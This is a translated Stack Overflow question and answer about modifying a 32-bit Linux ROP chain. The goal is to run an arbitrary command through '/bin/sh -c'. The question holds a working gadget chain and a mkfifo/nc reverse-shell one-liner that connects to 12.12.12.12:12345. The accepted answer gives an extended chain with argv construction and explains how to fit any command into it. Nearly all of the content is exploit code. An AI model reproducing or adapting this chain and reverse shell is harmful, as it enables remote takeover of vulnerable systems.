首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >修改ROP小工具

修改ROP小工具
EN

Stack Overflow用户
提问于 2015-03-28 06:56:21
回答 1查看 271关注 0票数 2

我有一个ROP小玩意,看起来像这样-

代码语言:javascript
复制
p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

您一定已经猜到了,它只是产生了一个"/bin//sh“。我希望它生成一个远程shell,其命令是:

代码语言:javascript
复制
rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc  12.12.12.12 12345 > /tmp/$$

有人能帮我创建一个小工具来执行远程shell吗?我试着看这个链接,但不太明白。

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2015-03-28 15:25:39

问题是,您的示例代码启动/bin/sh,这是一个单一的命令,而且也没有参数。您想要做的是命令的管道序列。如果启动一个shell,并将整个命令作为参数传递给-c,则可以执行该操作。因此,您真正需要的是/bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$'。这需要对序列进行重大修改,因为您必须构建参数数组。

为了保持代码的简短,让我们为/bin/sh -c "echo OK"做一个示例。execve系统调用需要一个由NULL终止的指针数组来指定参数。在最初的版本中,这只是一个存储在NULL上的.data + 8,这个地址被加载到ecx中,用于系统调用。数据布局如下:

代码语言:javascript
复制
+0: '/bin'
+4: '//sh'
+8: NULL

现在,我们需要补充如下:

代码语言:javascript
复制
+12: argv[0] = "/bin//sh"
+16: argv[1] = "-c"
+20: argv[2] = "echo OK"
+24: argv[3] = NULL
+28: "-c"
+32: 'echo'
+36: " OK"

请记住,argv[0]是按照约定为程序名使用的。此外,我们还需要在.data+12中为系统调用传递ecx

整件事看上去可能是:

代码语言:javascript
复制
p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# "-cXX" @ .data+28, the XX will be zeroed later
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e007c) # @ .data + 28
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '-cXX'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
# zero the XX now
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e007e) # @ .data + 30
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# build command line @.data+32
# let's do "echo OK" as an example
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0080) # @ .data + 32
p += pack('<I', 0x080f3246) # pop eax ; ret
p += 'echo'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0084) # @ .data + 36
p += pack('<I', 0x080f3246) # pop eax ; ret
p += ' OK.'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
# zero terminator
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0087) # @ .data + 39
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# build the argument array @.data+12
# pointer to "//bin/sh" (program name)
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e006c) # @ .data + 12
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# pointer to "-c"
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0070) # @ .data + 16
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e007c) # @ .data + 28
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# pointer to command
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0074) # @ .data + 20
p += pack('<I', 0x080f3246) # pop eax ; ret
p += pack('<I', 0x081e0080) # @ .data + 32
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

# NULL
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0078) # @ .data + 24
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e006c) # @ .data + 12 (argument array)
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

要构建命令,只需将命令分割成4个字节的块,并根据需要重复适当的ROP块。记得最后以零结束。HTH。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/29314582

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档